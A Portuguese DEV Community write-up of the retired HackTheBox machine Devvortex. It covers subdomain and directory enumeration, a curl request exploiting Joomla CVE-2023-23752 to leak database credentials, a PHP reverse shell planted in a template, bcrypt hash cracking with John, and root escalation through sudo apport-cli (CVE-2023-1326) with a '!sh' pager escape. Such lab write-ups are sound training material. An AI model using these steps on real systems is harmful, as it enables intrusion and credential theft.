DEV Community

Guilherme Martins
Guilherme Martins

Posted on

HackTheBox - Writeup Devvortex [Retired]

Hackthebox

Neste writeup iremos explorar uma máquina do hackthebox linux de leve easy chamada Devvortex. A máquina aborda as seguintes vulnerabilidades e técnicas:

  • Enumeração de subdominios
  • Análise e exploração de vulnerabilidade na CMS Joomla (CVE-XXX)
  • Crackeando senhas
  • Privilege Escalation CVE-2023-1326

Enumeração e user flag

Iremos iniciar realizando uma varredura no host alvo a procura de portas abertas, para isso vamos utilizar o nmap:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# nmap -sV --open -Pn 10.129.56.108
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-25 14:06 EST
Nmap scan report for 10.129.56.108
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.38 seconds
Enter fullscreen mode Exit fullscreen mode

Podemos notar que existem duas portas abertas, a 22 referente ao ssh e a porta 80 que esta rodando um nginx que é um servidor web e proxy reverso.

Acessando o IP pela porta navegador somos redirecionados para http://devvortex.htb, vamos adicionar em nosso /etc/hosts para conseguirmos o acesso ao mesmo.

Uma vez adicionado temos a seguinte página web:

Página web

No entanto, não encontramos nenhum vetor de exploração inicialmente. Vamos continuar o recon realizando uma enumeração de subdomínios. Para isso vamos utilizr o wfuzz que é um fuzzing.
O comando abaixo ira utilizar uma wordlist para buscar por subdomínios, removendo do retorno os status code 404 e 302:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# wfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.devvortex.htb" --hc 404,302 --hw 356 -t 100 10.129.54.142
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.54.142/
Total requests: 207630

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000797:   200        501 L    1581 W     23221 Ch    "dev"

Total time: 588.6878
Processed Requests: 207630
Filtered Requests: 207629
Requests/sec.: 352.6996

Enter fullscreen mode Exit fullscreen mode

Com isso descobrimos um novo subdomínio chamado dev.devvortex.htb.
Precisamos adicionar em nosso /etc/hosts para conseguir o acesso via navegador.

E ao acessar o novo subdomínio temos o seguinte conteúdo:

Página web do subdomínio

O mesmo parece ser similar ao domínio principal. A fim de buscar mais informações iremos realizar uma enumeração de diretórios e endpoints utilizando desta vez o gobuster:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://dev.devvortex.htb/ -k
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.devvortex.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/11/28 08:29:01 Starting gobuster in directory enumeration mode
===============================================================
/.bashrc              (Status: 403) [Size: 162]
/.cvs                 (Status: 403) [Size: 162]
/.bash_history        (Status: 403) [Size: 162]
/.cvsignore           (Status: 403) [Size: 162]
/.forward             (Status: 403) [Size: 162]
/.history             (Status: 403) [Size: 162]
/.htaccess            (Status: 403) [Size: 162]
/.htpasswd            (Status: 403) [Size: 162]
/.listing             (Status: 403) [Size: 162]
/.perf                (Status: 403) [Size: 162]
/.ssh                 (Status: 403) [Size: 162]
/.passwd              (Status: 403) [Size: 162]
/.rhosts              (Status: 403) [Size: 162]
/.profile             (Status: 403) [Size: 162]
/.subversion          (Status: 403) [Size: 162]
/.svn                 (Status: 403) [Size: 162]
/.web                 (Status: 403) [Size: 162]
/administrator        (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/administrator/]
/api                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/api/]
/cache                (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cache/]
/cli                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cli/]
/components           (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/components/]
/home                 (Status: 200) [Size: 23221]
/images               (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/images/]
/includes             (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/includes/]
/language             (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/language/]
/layouts              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/layouts/]
/libraries            (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/libraries/]
/media                (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/media/]
/modules              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/modules/]
/plugins              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/plugins/]
/robots.txt           (Status: 200) [Size: 764]
/templates            (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/templates/]
/tmp                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/tmp/]
Progress: 20469 / 20470 (100.00%)
===============================================================
2023/11/28 08:42:21 Finished
===============================================================
Enter fullscreen mode Exit fullscreen mode

Através do retorno do gobuster podemos visualizar diversos endpoints interessantes, incluindo um administrativo: http://dev.devvortex.htb/administrator.
Ao acessarmos este endpoint temos a seguinte página de login:

Página Joomla

Se trata de uma CMS chamada Joomla, comumente utilizada para criação de ecommerces.
Caso a instalação seja padrão, sem adição de uma segurança a mais o joomla por padrão possui diversos endpoints que expoem dados sensíveis, como podemos notar nos seguintes arquivos:

Versão do Joomla: http://dev.devvortex.htb/plugins/system/cache/cache.xml
Informações internas: http://dev.devvortex.htb/administrator/manifests/files/joomla.xml
Existe um robots.txt exibindo endpoints interessantes: http://dev.devvortex.htb/robots.txt

  • robots:txt:
User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
Enter fullscreen mode Exit fullscreen mode

Buscando por vulnerabilidades conhecidas encontramos a CVE-2023-23752. Esta CVE se trata um information leak por conta de um bypass na autenticação, onde é esta exposto dados do usuário do banco de dados em texto plano:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# curl -s http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq .
{
  "links": {
    "self": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true",
    "next": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
    "last": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
  },
  "data": [
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "offline": false,
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "offline_message": "This site is down for maintenance.<br>Please check back again soon.",
        "id": 224
      }
    },
    ...
    ...
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "user": "lewis",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "password": "P4ntherg0t1n5r3c0n##",
        "id": 224
      }
    },
Enter fullscreen mode Exit fullscreen mode

Os dados de usuário acima são referentes ao acesso ao banco de dados mysql, mas se tentarmos acessar o painel administrativo com os mesmos dados temos sucesso!

Área administrativa Joomla

E podemos notar que o usuário lewis possui acesso de administrador:

Informações sobre o usuário lewis

Com este tipo de acesso conseguimos editar o que desejarmos! Com isso podemos editar arquivos do tema é feito em php para enviar uma shell reversa de forma que consigamos acesso ao servidor alvo!

Vamos editar o tema atual chamado cassiopeia e criar um novo arquivo:

run.php

E iremos inserir o seguinte shell reverso, feito em php:

Com o arquivo salvo iremos utilizar o pwncat para ouvir na porta 9001.

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# pwncat-cs -lp 9001
[09:14:01] Welcome to pwncat 🐈!                                                                                    __main__.py:164
Enter fullscreen mode Exit fullscreen mode

E iremos acessar o arquivo run.php que criamos, para executar o mesmo.

Executando run.php pelo navegador

Com isso temos o seguinte retorno em nosso pwncat:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/devvortex]
└─# pwncat-cs -lp 9001
[09:14:01] Welcome to pwncat 🐈!                                                                                    __main__.py:164
[09:14:32] received connection from 10.129.54.142:57012                                                                  bind.py:84
[09:14:37] 0.0.0.0:9001: upgrading from /usr/bin/dash to /usr/bin/bash                                               manager.py:957
[09:14:39] 10.129.54.142:57012: registered new host w/ db                                                            manager.py:957
(local) pwncat$
(remote) www-data@devvortex:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Conseguimos shell em nosso alvo com o usuário www-data. Este é o usuário que executa a aplicação, o nginx. Precisamos nos mover lateralmente para o usuário que possui a user flag.
Para isso vamos realizar um recon no host alvo.

Dentro as infos que conseguimos recolher podemos notar que existe um mysql rodando na porta 3306 com o acesso local.

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      862/nginx: worker p
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      862/nginx: worker p
tcp6       0      0 :::22                   :::*                    LISTEN      -
Enter fullscreen mode Exit fullscreen mode

Voltando na vulnerabilidade que exploramos no Joomla, os dados de acesso que conseguimos correspondem ao usuário e senha de acesso ao banco.
Vamos dar uma olhada no seu conteúdo

(remote) www-data@devvortex:/tmp$ mysql -u lewis -h 127.0.0.1 -P 3306 -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 22108
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

Enter fullscreen mode Exit fullscreen mode

Existem três databases, duas padrões do mysql e uma para a CMS Joomla, vamos focar nesta última:


mysql> use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| sd4fg_action_log_config       |
| sd4fg_action_logs             |
| sd4fg_action_logs_extensions  |
| sd4fg_action_logs_users       |
| sd4fg_assets                  |
| sd4fg_associations            |
| sd4fg_banner_clients          |
| sd4fg_banner_tracks           |
| sd4fg_banners                 |
| sd4fg_categories              |
| sd4fg_contact_details         |
| sd4fg_content                 |
| sd4fg_content_frontpage       |
| sd4fg_content_rating          |
| sd4fg_content_types           |
| sd4fg_contentitem_tag_map     |
| sd4fg_extensions              |
| sd4fg_fields                  |
| sd4fg_fields_categories       |
| sd4fg_fields_groups           |
| sd4fg_fields_values           |
| sd4fg_finder_filters          |
| sd4fg_finder_links            |
| sd4fg_finder_links_terms      |
| sd4fg_finder_logging          |
| sd4fg_finder_taxonomy         |
| sd4fg_finder_taxonomy_map     |
| sd4fg_finder_terms            |
| sd4fg_finder_terms_common     |
| sd4fg_finder_tokens           |
| sd4fg_finder_tokens_aggregate |
| sd4fg_finder_types            |
| sd4fg_history                 |
| sd4fg_languages               |
| sd4fg_mail_templates          |
| sd4fg_menu                    |
| sd4fg_menu_types              |
| sd4fg_messages                |
| sd4fg_messages_cfg            |
| sd4fg_modules                 |
| sd4fg_modules_menu            |
| sd4fg_newsfeeds               |
| sd4fg_overrider               |
| sd4fg_postinstall_messages    |
| sd4fg_privacy_consents        |
| sd4fg_privacy_requests        |
| sd4fg_redirect_links          |
| sd4fg_scheduler_tasks         |
| sd4fg_schemas                 |
| sd4fg_session                 |
| sd4fg_tags                    |
| sd4fg_template_overrides      |
| sd4fg_template_styles         |
| sd4fg_ucm_base                |
| sd4fg_ucm_content             |
| sd4fg_update_sites            |
| sd4fg_update_sites_extensions |
| sd4fg_updates                 |
| sd4fg_user_keys               |
| sd4fg_user_mfa                |
| sd4fg_user_notes              |
| sd4fg_user_profiles           |
| sd4fg_user_usergroup_map      |
| sd4fg_usergroups              |
| sd4fg_users                   |
| sd4fg_viewlevels              |
| sd4fg_webauthn_credentials    |
| sd4fg_workflow_associations   |
| sd4fg_workflow_stages         |
| sd4fg_workflow_transitions    |
| sd4fg_workflows               |
+-------------------------------+
Enter fullscreen mode Exit fullscreen mode

Das diversas tabelas a que nos chama atenção é a sd4fg_users, que guarda as informações sobre os usuários do Joomla, vamos ver seu conteúdo:

mysql> desc sd4fg_users;
+---------------+---------------+------+-----+---------+----------------+
| Field         | Type          | Null | Key | Default | Extra          |
+---------------+---------------+------+-----+---------+----------------+
| id            | int           | NO   | PRI | NULL    | auto_increment |
| name          | varchar(400)  | NO   | MUL |         |                |
| username      | varchar(150)  | NO   | UNI |         |                |
| email         | varchar(100)  | NO   | MUL |         |                |
| password      | varchar(100)  | NO   |     |         |                |
| block         | tinyint       | NO   | MUL | 0       |                |
| sendEmail     | tinyint       | YES  |     | 0       |                |
| registerDate  | datetime      | NO   |     | NULL    |                |
| lastvisitDate | datetime      | YES  |     | NULL    |                |
| activation    | varchar(100)  | NO   |     |         |                |
| params        | text          | NO   |     | NULL    |                |
| lastResetTime | datetime      | YES  |     | NULL    |                |
| resetCount    | int           | NO   |     | 0       |                |
| otpKey        | varchar(1000) | NO   |     |         |                |
| otep          | varchar(1000) | NO   |     |         |                |
| requireReset  | tinyint       | NO   |     | 0       |                |
| authProvider  | varchar(100)  | NO   |     |         |                |
+---------------+---------------+------+-----+---------+----------------+
17 rows in set (0.00 sec)

mysql> select name,username,password from sd4fg_users;
+------------+----------+--------------------------------------------------------------+
| name       | username | password                                                     |
+------------+----------+--------------------------------------------------------------+
| lewis      | lewis    | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |
| logan paul | logan    | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+------------+----------+--------------------------------------------------------------+
Enter fullscreen mode Exit fullscreen mode

Conseguimos visualizar que existem dois usuários, o lewis que utilizamos para acessar o Joomla e o mysql e também o usuário logan.
Este segundo usuário do Joomla também é um usuário com shell em nosso alvo!

Iremos utilizar outra aba do nosso terminal para crackear a senha utilizando o John the Ripper:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/devvortex]
└─# john -w=/usr/share/wordlists/rockyou.txt logan-hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho    (logan)
1g 0:00:00:11 DONE (2023-11-28 09:49) 0.08347g/s 117.1p/s 117.1c/s 117.1C/s lacoste..harry
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Enter fullscreen mode Exit fullscreen mode

E conseguimos a senha do usuário logan. Vamos tentar o acesso ssh ao host alvo:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/devvortex]
└─# ssh logan@devvortex.htb
logan@devvortex.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 28 Nov 2023 02:50:15 PM UTC

  System load:           0.0
  Usage of /:            65.7% of 4.76GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             174
  Users logged in:       0
  IPv4 address for eth0: 10.129.54.142
  IPv6 address for eth0: dead:beef::250:56ff:fe96:3343


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Nov 21 10:53:48 2023 from 10.10.14.23
logan@devvortex:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt

Enter fullscreen mode Exit fullscreen mode

Conseguimos o acesso! E o usuário possível a user flag:

logan@devvortex:~$ cat user.txt
806aa0e222b43fbbb78e8ef7207a2bdd
Enter fullscreen mode Exit fullscreen mode

Escalação de privilégios e root flag

Iremos iniciar listando as permissões do usuário logan:

logan@devvortex:~$ sudo -l
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli
Enter fullscreen mode Exit fullscreen mode

O usuário possui permissão para executar como root um binário chamado apport-cli. O Apport é uma ferramenta que permite a análise, coleta de informações de crash reports de programas e do sistema.

Buscando por vulnerabilidades encontramos a seguinte CVE-2023-1326 que afeta o apport-cli até a versão 2.26 e se trata de uma escalação de privilégios, que ocorre quando visualizamos o report gerado.

Podemos ver a versão que temos executando o binário /usr/bin/apport-cli.

logan@devvortex:~$ sudo /usr/bin/apport-cli -v
2.20.11
Enter fullscreen mode Exit fullscreen mode

A /CVE-2023-1326 ocorre exatamente no cenário em que estamos, onde a versão é inferior a 2.26.0 e conseguimos executar o apport com permissões de root. A vulnerabilidade ocorre quando visualizamos o report gerado pelo programa em uma janela do terminal que não exibe o conteúdo completo, neste caso o report utiliza o less, que é utilizado para ler arquivos extensos no linux, um formato de "página", onde é possível se mover pelo conteúdo.
Acontece que o less permite que sejam executados comandos, e como estamos como root...

Possui a seguinte POC.

Que podemos reproduzir em nosso cenário da seguinte forma:

logan@devvortex:~$ sudo /usr/bin/apport-cli -f /tmp/test.txt pid

*** What kind of problem do you want to report?


Choices:
  1: Display (X.org)
  2: External or internal storage devices (e. g. USB sticks)
  3: Security related problems
  4: Sound/audio related problems
  5: dist-upgrade
  6: installation
  7: installer
  8: release-upgrade
  9: ubuntu-release-upgrader
  10: Other problem
  C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C): 1


*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.

*** What display problem do you observe?


Choices:
  1: I don't know
  2: Freezes or hangs during boot or usage
  3: Crashes or restarts back to login screen
  4: Resolution is incorrect
  5: Shows screen corruption
  6: Performance is worse than expected
  7: Fonts are the wrong size
  8: Other display-related problem
  C: Cancel
Please choose (1/2/3/4/5/6/7/8/C): 7
.
.dpkg-query: no packages found matching xorg
............

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
  S: Send report (1.5 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C):
What would you like to do? Your options are:
  S: Send report (1.5 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V
Enter fullscreen mode Exit fullscreen mode

Nesta parte será exibido o report utilizando o less, aqui inserimos o seguinte paylaod:

!sh
Enter fullscreen mode Exit fullscreen mode

E assim ganhamos shell como root!

# id
uid=0(root) gid=0(root) groups=0(root)
Enter fullscreen mode Exit fullscreen mode

E assim conseguimos ler a root flag:

# ls -a /root
.  ..  .bash_history  .bashrc  .cleanup  .profile  root.txt  .ssh
# cat /root/root.txt
b47da4fe68c66140a07b853748d02abf

Enter fullscreen mode Exit fullscreen mode

Finalizando assim a máquina Devvortex.

:)

Top comments (0)